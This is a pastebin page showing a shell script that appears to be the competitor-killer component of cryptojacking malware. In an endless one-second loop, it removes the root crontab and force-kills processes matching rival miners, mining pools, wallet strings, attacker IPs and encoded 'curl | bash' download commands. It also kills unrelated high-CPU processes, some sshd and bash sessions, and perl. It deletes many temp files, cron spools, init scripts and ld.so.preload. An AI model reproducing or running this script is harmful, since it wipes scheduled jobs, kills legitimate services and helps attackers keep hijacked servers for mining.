SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/sh | |
| 2 | ||
| 3 | KILLER() {
| |
| 4 | crontab -l | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|91.201.42.5' | crontab -r | |
| 5 | crontab -l | grep 'pastebin.com' | crontab -r | |
| 6 | crontab -l | grep 'gitee.com' | crontab -r | |
| 7 | crontab -l | grep '107.174.47.156' | crontab -r | |
| 8 | crontab -l | grep '83.220.169.24' | crontab -r | |
| 9 | crontab -l | grep '51.38.203.146' | crontab -r | |
| 10 | crontab -l | grep 'mr.sh' | crontab -r | |
| 11 | crontab -l | grep '2mr.sh' | crontab -r | |
| 12 | crontab -l | grep 'cr5.sh' | crontab -r | |
| 13 | crontab -l | grep 'logo9.jpg' | crontab -r | |
| 14 | ps aux | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|51.68.173.240\|91.201.42.5' | awk '{print $2}' | xargs kill -9
| |
| 15 | ps aux | grep -v grep | grep 'kworkerdssx -c\' | awk '{print $2}' | xargs kill -9
| |
| 16 | ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs kill -9
| |
| 17 | ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs kill -9
| |
| 18 | ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs kill -9
| |
| 19 | ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs kill -9
| |
| 20 | ps aux | grep -v grep | grep '/tmp/65ccEJ7\' | awk '{print $2}' | xargs kill -9
| |
| 21 | ps aux | grep -v grep | grep '/tmp/jmxx\' | awk '{print $2}' | xargs kill -9
| |
| 22 | ps aux | grep -v grep | grep '/tmp/2Ne80nA\' | awk '{print $2}' | xargs kill -9
| |
| 23 | ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR'| awk '{print $2}' | xargs kill -9
| |
| 24 | ps aux | grep -v grep | grep '45.76.122.92'| awk '{print $2}' | xargs kill -9
| |
| 25 | ps aux | grep -v grep | grep '51.38.191.178'| awk '{print $2}' | xargs kill -9
| |
| 26 | ps aux | grep -v grep | grep '51.15.56.161'| awk '{print $2}' | xargs kill -9
| |
| 27 | ps aux | grep -v grep | grep '86s.jpg'| awk '{print $2}' | xargs kill -9
| |
| 28 | #ps aux | grep -v grep | grep 'pastebin.com'| awk '{print $2}' | xargs kill -9
| |
| 29 | ps aux | grep -v grep | grep 'aGTSGJJp'| awk '{print $2}' | xargs kill -9
| |
| 30 | ps aux | grep -v grep | grep 'nMrfmnRa'| awk '{print $2}' | xargs kill -9
| |
| 31 | ps aux | grep -v grep | grep 'PuNY5tm2'| awk '{print $2}' | xargs kill -9
| |
| 32 | ps aux | grep -v grep | grep 'I0r8Jyyt'| awk '{print $2}' | xargs kill -9
| |
| 33 | ps aux | grep -v grep | grep 'AgdgACUD'| awk '{print $2}' | xargs kill -9
| |
| 34 | ps aux | grep -v grep | grep 'uiZvwxG8'| awk '{print $2}' | xargs kill -9
| |
| 35 | ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
| |
| 36 | ps aux | grep -v grep | grep 'BtwXn5qH'| awk '{print $2}' | xargs kill -9
| |
| 37 | ps aux | grep -v grep | grep '3XEzey2T'| awk '{print $2}' | xargs kill -9
| |
| 38 | ps aux | grep -v grep | grep 't2tKrCSZ'| awk '{print $2}' | xargs kill -9
| |
| 39 | ps aux | grep -v grep | grep 'HD7fcBgg'| awk '{print $2}' | xargs kill -9
| |
| 40 | ps aux | grep -v grep | grep 'zXcDajSs'| awk '{print $2}' | xargs kill -9
| |
| 41 | ps aux | grep -v grep | grep '3lmigMo'| awk '{print $2}' | xargs kill -9
| |
| 42 | ps aux | grep -v grep | grep 'AkMK4A2'| awk '{print $2}' | xargs kill -9
| |
| 43 | ps aux | grep -v grep | grep 'AJ2AkKe'| awk '{print $2}' | xargs kill -9
| |
| 44 | ps aux | grep -v grep | grep 'HiPxCJRS'| awk '{print $2}' | xargs kill -9
| |
| 45 | ps aux | grep -v grep | grep 'http_0xCC030'| awk '{print $2}' | xargs kill -9
| |
| 46 | ps aux | grep -v grep | grep 'http_0xCC031'| awk '{print $2}' | xargs kill -9
| |
| 47 | ps aux | grep -v grep | grep 'http_0xCC032'| awk '{print $2}' | xargs kill -9
| |
| 48 | ps aux | grep -v grep | grep 'http_0xCC033'| awk '{print $2}' | xargs kill -9
| |
| 49 | ps aux | grep -v grep | grep "C4iLM4L"| awk '{print $2}'| xargs kill -9
| |
| 50 | ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
| |
| 51 | ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs kill -9
| |
| 52 | ps aux | grep -v grep | grep '/boot/vmlinuz'| awk '{print $2}' | xargs kill -9
| |
| 53 | ps aux | grep -v grep | grep "i4b503a52cc5"| awk '{print $2}'|xargs kill -9
| |
| 54 | ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2"| awk '{print $2}'|xargs kill -9
| |
| 55 | ps aux | grep -v grep | grep "2g0uv7npuhrlatd"| awk '{print $2}'|xargs kill -9
| |
| 56 | ps aux | grep -v grep | grep "nqscheduler"| awk '{print $2}'| xargs kill -9
| |
| 57 | ps aux | grep -v grep | grep "rkebbwgqpl4npmm"| awk '{print $2}'| xargs kill -9
| |
| 58 | ps aux | grep -v grep | grep -v aux |grep "]"| awk '$3>10.0{print $2}'| xargs kill -9
| |
| 59 | ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s"| awk '{print $2}'| xargs kill -9
| |
| 60 | ps aux | grep -v grep | grep "0kwti6ut420t"| awk '{print $2}'| xargs kill -9
| |
| 61 | ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm"| awk '{print $2}'| xargs kill -9
| |
| 62 | ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs kill -9
| |
| 63 | ps aux | grep -v grep | grep "\[^" | awk '{print $2}'| xargs kill -9
| |
| 64 | ps aux | grep -v grep | grep "rsync" | awk '{print $2}'| xargs kill -9
| |
| 65 | ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}'| xargs kill -9
| |
| 66 | ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs kill -9
| |
| 67 | #ps aux | grep -v grep | grep " \["|grep watchbog| awk '{print $2}'| xargs kill -9
| |
| 68 | #ps aux | grep -v grep | grep " \["|grep bash| awk '{print $2}'| xargs kill -9
| |
| 69 | ps aux | grep -v grep | grep "158.69.133.18:8220"| awk '{print $2}'| xargs kill -9
| |
| 70 | ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}'| xargs kill -9
| |
| 71 | ps aux | grep -v grep | grep 'gitee.com'| awk '{print $2}' | xargs kill -9
| |
| 72 | ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}'| xargs kill -9
| |
| 73 | ps aux | grep -v grep | grep '104.248.4.162'| awk '{print $2}' | xargs kill -9
| |
| 74 | ps aux | grep -v grep | grep '89.35.39.78'| awk '{print $2}' | xargs kill -9
| |
| 75 | ps aux | grep -v grep | grep '/dev/shm/z3.sh'| awk '{print $2}' | xargs kill -9
| |
| 76 | #ps aux | grep -v grep | grep '/bin/bash'| awk '{print $2}' | xargs kill -9
| |
| 77 | ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}'| xargs kill -9
| |
| 78 | ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}'| xargs kill -9
| |
| 79 | ps aux | grep -v grep | grep 'netdns' | awk '{print $2}'| xargs kill -9
| |
| 80 | ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}'| xargs kill -9
| |
| 81 | ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd |awk '$3>10.0{print $2}' | xargs kill -9
| |
| 82 | ps aux | grep -v grep | grep -v aux |grep "\-bash"| awk '{print $2}'| xargs kill -9
| |
| 83 | ps aux | grep -v grep | grep -v bin| grep sshd| awk '{print $2}'| xargs kill -9
| |
| 84 | ps aux | grep -v grep | grep -v aux | grep " ps"| awk '{print $2}'| xargs kill -9
| |
| 85 | ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs kill -9 | |
| 86 | ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs kill -9 | |
| 87 | ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
| |
| 88 | ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
| |
| 89 | ps aux | grep -v grep | grep -v aux |grep "sh] <"| awk '{print $2}'| xargs kill -9
| |
| 90 | ps aux | grep -v grep | grep -v aux |grep " \[]"| awk '{print $2}'| xargs kill -9
| |
| 91 | ps aux | grep -v grep | grep '/tmp/l.sh'| awk '{print $2}' | xargs kill -9
| |
| 92 | ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs kill -9
| |
| 93 | ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
| |
| 94 | ps aux | grep -v grep | grep 'CnzFVPLF'| awk '{print $2}' | xargs kill -9
| |
| 95 | ps aux | grep -v grep | grep 'CvKzzZLs'| awk '{print $2}' | xargs kill -9
| |
| 96 | ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
| |
| 97 | ps aux | grep -v grep | grep '/tmp/udevd'| awk '{print $2}' | xargs kill -9
| |
| 98 | ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs kill -9
| |
| 99 | ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs kill -9
| |
| 100 | ps aux | grep -v grep | grep 'sustse'| awk '{print $2}' | xargs kill -9
| |
| 101 | ps aux | grep -v grep | grep 'sustse3'| awk '{print $2}' | xargs kill -9
| |
| 102 | ps aux | grep -v grep | grep 'mr.sh'| grep 'wget'| awk '{print $2}' | xargs kill -9
| |
| 103 | ps aux | grep -v grep | grep 'mr.sh'| grep 'curl'| awk '{print $2}' | xargs kill -9
| |
| 104 | ps aux | grep -v grep | grep '2mr.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 105 | ps aux | grep -v grep | grep '2mr.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 106 | ps aux | grep -v grep | grep 'cr5.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 107 | ps aux | grep -v grep | grep 'cr5.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 108 | ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 109 | ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 110 | ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs kill -9
| |
| 111 | ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 112 | ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 113 | ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 114 | ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 115 | ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 116 | ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 117 | ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 118 | ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 119 | ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs kill -9
| |
| 120 | ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs kill -9
| |
| 121 | ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs kill -9
| |
| 122 | ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs kill -9
| |
| 123 | ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs kill -9
| |
| 124 | ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs kill -9
| |
| 125 | ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs kill -9
| |
| 126 | ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs kill -9
| |
| 127 | ps auxf| grep -v grep | grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
| |
| 128 | ps auxf| grep -v grep | grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
| |
| 129 | ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
| |
| 130 | ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
| |
| 131 | ps auxf| grep -v grep | grep "[email protected]"|awk '{print $2}'|xargs kill -9 | |
| 132 | ps auxf| grep -v grep | grep "monerohash.com"|awk '{print $2}'|xargs kill -9
| |
| 133 | ps auxf| grep -v grep | grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
| |
| 134 | ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
| |
| 135 | ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
| |
| 136 | ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
| |
| 137 | ps auxf| grep -v grep | grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
| |
| 138 | ps auxf| grep -v grep | grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
| |
| 139 | ps auxf| grep xiaoyao | awk '{print $2}'|xargs kill -9
| |
| 140 | ps auxf| grep xiaoxue | awk '{print $2}'|xargs kill -9
| |
| 141 | netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
| |
| 142 | netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
| |
| 143 | pgrep -f monerohash|xargs kill -9 | |
| 144 | pgrep -f L2Jpbi9iYXN|xargs kill -9 | |
| 145 | pgrep -f xzpauectgr|xargs kill -9 | |
| 146 | pgrep -f slxfbkmxtd|xargs kill -9 | |
| 147 | pgrep -f mixtape|xargs kill -9 | |
| 148 | pgrep -f addnj|xargs kill -9 | |
| 149 | pgrep -f 200.68.17.196|xargs kill -9 | |
| 150 | pgrep -f IyEvYmluL3NoCgpzUG|xargs kill -9 | |
| 151 | pgrep -f KHdnZXQgLXFPLSBodHRw|xargs kill -9 | |
| 152 | pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3|xargs kill -9 | |
| 153 | pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo|xargs kill -9 | |
| 154 | pgrep -f mwyumwdbpq.conf|xargs kill -9 | |
| 155 | pgrep -f honvbsasbf.conf|xargs kill -9 | |
| 156 | pgrep -f mqdsflm.cf|xargs kill -9 | |
| 157 | pgrep -f stratum|xargs kill -9 | |
| 158 | pgrep -f lower.sh|xargs kill -9 | |
| 159 | pgrep -f ./ppp|xargs kill -9 | |
| 160 | pgrep -f cryptonight|xargs kill -9 | |
| 161 | pgrep -f ./seervceaess|xargs kill -9 | |
| 162 | pgrep -f ./servceaess|xargs kill -9 | |
| 163 | pgrep -f ./servceas|xargs kill -9 | |
| 164 | pgrep -f ./servcesa|xargs kill -9 | |
| 165 | pgrep -f ./vsp|xargs kill -9 | |
| 166 | pgrep -f ./jvs|xargs kill -9 | |
| 167 | pgrep -f ./pvv|xargs kill -9 | |
| 168 | pgrep -f ./vpp|xargs kill -9 | |
| 169 | pgrep -f ./pces|xargs kill -9 | |
| 170 | pgrep -f ./rspce|xargs kill -9 | |
| 171 | pgrep -f ./haveged|xargs kill -9 | |
| 172 | pgrep -f ./jiba|xargs kill -9 | |
| 173 | pgrep -f ./watchbog|xargs kill -9 | |
| 174 | pgrep -f ./A7mA5gb|xargs kill -9 | |
| 175 | pgrep -f kacpi_svc|xargs kill -9 | |
| 176 | pgrep -f kswap_svc|xargs kill -9 | |
| 177 | pgrep -f kauditd_svc|xargs kill -9 | |
| 178 | pgrep -f kpsmoused_svc|xargs kill -9 | |
| 179 | pgrep -f kseriod_svc|xargs kill -9 | |
| 180 | pgrep -f kthreadd_svc|xargs kill -9 | |
| 181 | pgrep -f ksoftirqd_svc|xargs kill -9 | |
| 182 | pgrep -f kintegrityd_svc|xargs kill -9 | |
| 183 | pgrep -f jawa|xargs kill -9 | |
| 184 | pgrep -f oracle.jpg|xargs kill -9 | |
| 185 | pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN|xargs kill -9 | |
| 186 | pgrep -f 188.209.49.54|xargs kill -9 | |
| 187 | pgrep -f 181.214.87.241|xargs kill -9 | |
| 188 | pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ|xargs kill -9 | |
| 189 | pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj|xargs kill -9 | |
| 190 | pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK|xargs kill -9 | |
| 191 | pgrep -f servim|xargs kill -9 | |
| 192 | pgrep -f kblockd_svc|xargs kill -9 | |
| 193 | pgrep -f native_svc|xargs kill -9 | |
| 194 | pgrep -f sshd2|xargs kill -9 | |
| 195 | pgrep -f ynn|xargs kill -9 | |
| 196 | pgrep -f perl|xargs kill -9 | |
| 197 | pgrep -f 65ccEJ7|xargs kill -9 | |
| 198 | pgrep -f jmxx|xargs kill -9 | |
| 199 | pgrep -f 2Ne80nA|xargs kill -9 | |
| 200 | pgrep -f sysstats|xargs kill -9 | |
| 201 | pgrep -f systemxlv|xargs kill -9 | |
| 202 | pgrep -f watchbog|xargs kill -9 | |
| 203 | pgrep -f OIcJi1m|xargs kill -9 | |
| 204 | pkill -f biosetjenkins | |
| 205 | pkill -f Loopback | |
| 206 | pkill -f apaceha | |
| 207 | pkill -f cryptonight | |
| 208 | pkill -f stratum | |
| 209 | pkill -f mixnerdx | |
| 210 | pkill -f performedl | |
| 211 | pkill -f JnKihGjn | |
| 212 | pkill -f irqba2anc1 | |
| 213 | pkill -f irqba5xnc1 | |
| 214 | pkill -f irqbnc1 | |
| 215 | pkill -f ir29xc1 | |
| 216 | pkill -f conns | |
| 217 | pkill -f irqbalance | |
| 218 | pkill -f crypto-pool | |
| 219 | pkill -f XJnRj | |
| 220 | pkill -f mgwsl | |
| 221 | pkill -f pythno | |
| 222 | pkill -f jweri | |
| 223 | pkill -f lx26 | |
| 224 | pkill -f NXLAi | |
| 225 | pkill -f BI5zj | |
| 226 | pkill -f askdljlqw | |
| 227 | pkill -f minerd | |
| 228 | pkill -f minergate | |
| 229 | pkill -f Guard.sh | |
| 230 | pkill -f ysaydh | |
| 231 | pkill -f bonns | |
| 232 | pkill -f donns | |
| 233 | pkill -f kxjd | |
| 234 | pkill -f Duck.sh | |
| 235 | pkill -f bonn.sh | |
| 236 | pkill -f conn.sh | |
| 237 | pkill -f kworker34 | |
| 238 | pkill -f kw.sh | |
| 239 | pkill -f pro.sh | |
| 240 | pkill -f polkitd | |
| 241 | pkill -f acpid | |
| 242 | pkill -f icb5o | |
| 243 | pkill -f nopxi | |
| 244 | pkill -f irqbalanc1 | |
| 245 | pkill -f minerd | |
| 246 | pkill -f i586 | |
| 247 | pkill -f gddr | |
| 248 | pkill -f mstxmr | |
| 249 | pkill -f ddg.2011 | |
| 250 | pkill -f wnTKYg | |
| 251 | pkill -f deamon | |
| 252 | pkill -f disk_genius | |
| 253 | pkill -f sourplum | |
| 254 | pkill -f polkitd | |
| 255 | pkill -f nanoWatch | |
| 256 | pkill -f zigw | |
| 257 | pkill -f devtool | |
| 258 | pkill -f devtools | |
| 259 | pkill -f systemctI | |
| 260 | pkill -f watchbog | |
| 261 | pkill -f cryptonight | |
| 262 | pkill -f sustes | |
| 263 | pkill -f xmrig | |
| 264 | pkill -f xmr-stak | |
| 265 | pkill -f suppoie | |
| 266 | pkill -f zer0day.ru | |
| 267 | pkill -f dbus-daemon--system | |
| 268 | pkill -f nullcrew | |
| 269 | pkill -f systemctI | |
| 270 | pkill -f kworkerds | |
| 271 | pkill -f init10.cfg | |
| 272 | pkill -f /wl.conf | |
| 273 | pkill -f crond64 | |
| 274 | pkill -f sustse | |
| 275 | pkill -f vmlinuz | |
| 276 | rm -rf /tmp/wc.conf | |
| 277 | rm -rf /tmp/sustse | |
| 278 | rm -rf /tmp/php | |
| 279 | rm -rf /tmp/p2.conf | |
| 280 | rm -rf /tmp/pprt | |
| 281 | rm -rf /tmp/ppol | |
| 282 | rm -rf /tmp/javax/config.sh | |
| 283 | rm -rf /tmp/javax/sshd2 | |
| 284 | rm -rf /tmp/.profile | |
| 285 | rm -rf /tmp/1.so | |
| 286 | rm -rf /tmp/kworkerds | |
| 287 | rm -rf /tmp/kworkerds3 | |
| 288 | rm -rf /tmp/kworkerdssx | |
| 289 | rm -rf /tmp/xd.json | |
| 290 | rm -rf /tmp/syslogd | |
| 291 | rm -rf /tmp/syslogdb | |
| 292 | rm -rf /tmp/65ccEJ7 | |
| 293 | rm -rf /tmp/jmxx | |
| 294 | rm -rf /tmp/2Ne80nA | |
| 295 | rm -rf /tmp/dl | |
| 296 | rm -rf /tmp/ddg | |
| 297 | rm -rf /tmp/systemxlv | |
| 298 | rm -rf /tmp/systemctI | |
| 299 | rm -rf /tmp/.abc | |
| 300 | rm -rf /tmp/osw.hb | |
| 301 | rm -rf /tmp/.tmpleve | |
| 302 | rm -rf /tmp/.tmpnewzz | |
| 303 | rm -rf /tmp/.java | |
| 304 | rm -rf /tmp/.omed | |
| 305 | rm -rf /tmp/.tmpc | |
| 306 | rm -rf /tmp/.tmpleve | |
| 307 | rm -rf /tmp/.tmpnewzz | |
| 308 | rm -rf /tmp/gates.lod | |
| 309 | rm -rf /tmp/conf.n | |
| 310 | rm -rf /tmp/update.sh | |
| 311 | rm -rf /tmp/devtool | |
| 312 | rm -rf /tmp/devtools | |
| 313 | rm -rf /tmp/fs | |
| 314 | rm -rf /tmp/.rod | |
| 315 | rm -rf /tmp/.rod.tgz | |
| 316 | rm -rf /tmp/.rod.tgz.1 | |
| 317 | rm -rf /tmp/.rod.tgz.2 | |
| 318 | rm -rf /tmp/.mer | |
| 319 | rm -rf /tmp/.mer.tgz | |
| 320 | rm -rf /tmp/.mer.tgz.1 | |
| 321 | rm -rf /tmp/.hod | |
| 322 | rm -rf /tmp/.hod.tgz | |
| 323 | rm -rf /tmp/.hod.tgz.1 | |
| 324 | rm -rf /tmp/84Onmce | |
| 325 | rm -rf /tmp/C4iLM4L | |
| 326 | rm -rf /tmp/lilpip | |
| 327 | rm -rf /tmp/3lmigMo | |
| 328 | rm -rf /tmp/am8jmBP | |
| 329 | rm -rf /tmp/tmp.txt | |
| 330 | rm -rf /tmp/baby | |
| 331 | rm -rf /tmp/.lib | |
| 332 | rm -rf /tmp/systemd | |
| 333 | rm -rf /tmp/lib.tar.gz | |
| 334 | rm -rf /tmp/baby | |
| 335 | rm -rf /tmp/java | |
| 336 | rm -rf /tmp/j2.conf | |
| 337 | rm -rf /tmp/.mynews1234 | |
| 338 | rm -rf /tmp/a3e12d | |
| 339 | rm -rf /tmp/.pt | |
| 340 | rm -rf /tmp/.pt.tgz | |
| 341 | rm -rf /tmp/.pt.tgz.1 | |
| 342 | rm -rf /tmp/go | |
| 343 | rm -rf /tmp/java | |
| 344 | rm -rf /tmp/j2.conf | |
| 345 | rm -rf /tmp/.tmpnewasss | |
| 346 | rm -rf /tmp/java | |
| 347 | rm -rf /tmp/go.sh | |
| 348 | rm -rf /tmp/go2.sh | |
| 349 | rm -rf /tmp/khugepageds | |
| 350 | rm -rf /tmp/.censusqqqqqqqqq | |
| 351 | rm -rf /tmp/.kerberods | |
| 352 | rm -rf /tmp/kerberods | |
| 353 | rm -rf /tmp/seasame | |
| 354 | rm -rf /tmp/touch | |
| 355 | rm -rf /tmp/.p | |
| 356 | rm -rf /tmp/runtime2.sh | |
| 357 | rm -rf /tmp/runtime.sh | |
| 358 | rm -rf /dev/shm/z3.sh | |
| 359 | rm -rf /dev/shm/z2.sh | |
| 360 | rm -rf /dev/shm/.scr | |
| 361 | rm -rf /dev/shm/.kerberods | |
| 362 | rm -f /etc/ld.so.preload | |
| 363 | rm -f /usr/local/lib/libioset.so | |
| 364 | chattr -i /etc/ld.so.preload | |
| 365 | rm -f /etc/ld.so.preload | |
| 366 | rm -f /usr/local/lib/libioset.so | |
| 367 | rm -rf /tmp/watchdogs | |
| 368 | rm -rf /etc/cron.d/tomcat | |
| 369 | rm -rf /etc/cron.d/root | |
| 370 | rm -rf /var/spool/cron/root | |
| 371 | rm -rf /var/spool/cron/crontabs/root | |
| 372 | rm -rf /etc/rc.d/init.d/watchdogs | |
| 373 | rm -rf /usr/sbin/watchdogs | |
| 374 | rm -f /tmp/kthrotlds | |
| 375 | rm -f /etc/rc.d/init.d/kthrotlds | |
| 376 | rm -rf /tmp/.sysbabyuuuuu12 | |
| 377 | rm -rf /tmp/logo9.jpg | |
| 378 | rm -rf /tmp/miner.sh | |
| 379 | rm -rf /tmp/nullcrew | |
| 380 | rm -rf /tmp/proc | |
| 381 | rm -rf /tmp/2.sh | |
| 382 | rm /opt/atlassian/confluence/bin/1.sh | |
| 383 | rm /opt/atlassian/confluence/bin/1.sh.1 | |
| 384 | rm /opt/atlassian/confluence/bin/1.sh.2 | |
| 385 | rm /opt/atlassian/confluence/bin/1.sh.3 | |
| 386 | rm /opt/atlassian/confluence/bin/3.sh | |
| 387 | rm /opt/atlassian/confluence/bin/3.sh.1 | |
| 388 | rm /opt/atlassian/confluence/bin/3.sh.2 | |
| 389 | rm /opt/atlassian/confluence/bin/3.sh.3 | |
| 390 | rm -rf /var/tmp/f41 | |
| 391 | rm -rf /var/tmp/2.sh | |
| 392 | rm -rf /var/tmp/config.json | |
| 393 | rm -rf /var/tmp/xmrig | |
| 394 | rm -rf /var/tmp/1.so | |
| 395 | rm -rf /var/tmp/kworkerds3 | |
| 396 | rm -rf /var/tmp/kworkerdssx | |
| 397 | rm -rf /var/tmp/kworkerds | |
| 398 | rm -rf /var/tmp/wc.conf | |
| 399 | rm -rf /var/tmp/nadezhda. | |
| 400 | rm -rf /var/tmp/nadezhda.arm | |
| 401 | rm -rf /var/tmp/nadezhda.arm.1 | |
| 402 | rm -rf /var/tmp/nadezhda.arm.2 | |
| 403 | rm -rf /var/tmp/nadezhda.x86_64 | |
| 404 | rm -rf /var/tmp/nadezhda.x86_64.1 | |
| 405 | rm -rf /var/tmp/nadezhda.x86_64.2 | |
| 406 | rm -rf /var/tmp/sustse3 | |
| 407 | rm -rf /var/tmp/sustse | |
| 408 | rm -rf /var/tmp/moneroocean/ | |
| 409 | rm -rf /var/tmp/config.json | |
| 410 | rm -rf /var/tmp/devtool | |
| 411 | rm -rf /var/tmp/devtools | |
| 412 | rm -rf /var/tmp/play.sh | |
| 413 | rm -rf /var/tmp/systemctI | |
| 414 | rm -rf /var/tmp/update.sh | |
| 415 | rm -rf /var/tmp/.java | |
| 416 | rm -rf /var/tmp/1.sh | |
| 417 | rm -rf /var/tmp/conf.n | |
| 418 | rm -r /var/tmp/lib | |
| 419 | rm -r /var/tmp/.lib | |
| 420 | touch /tmp/lok | |
| 421 | ||
| 422 | }; | |
| 423 | ||
| 424 | ||
| 425 | while true; do | |
| 426 | KILLER | |
| 427 | sleep 1; | |
| 428 | done |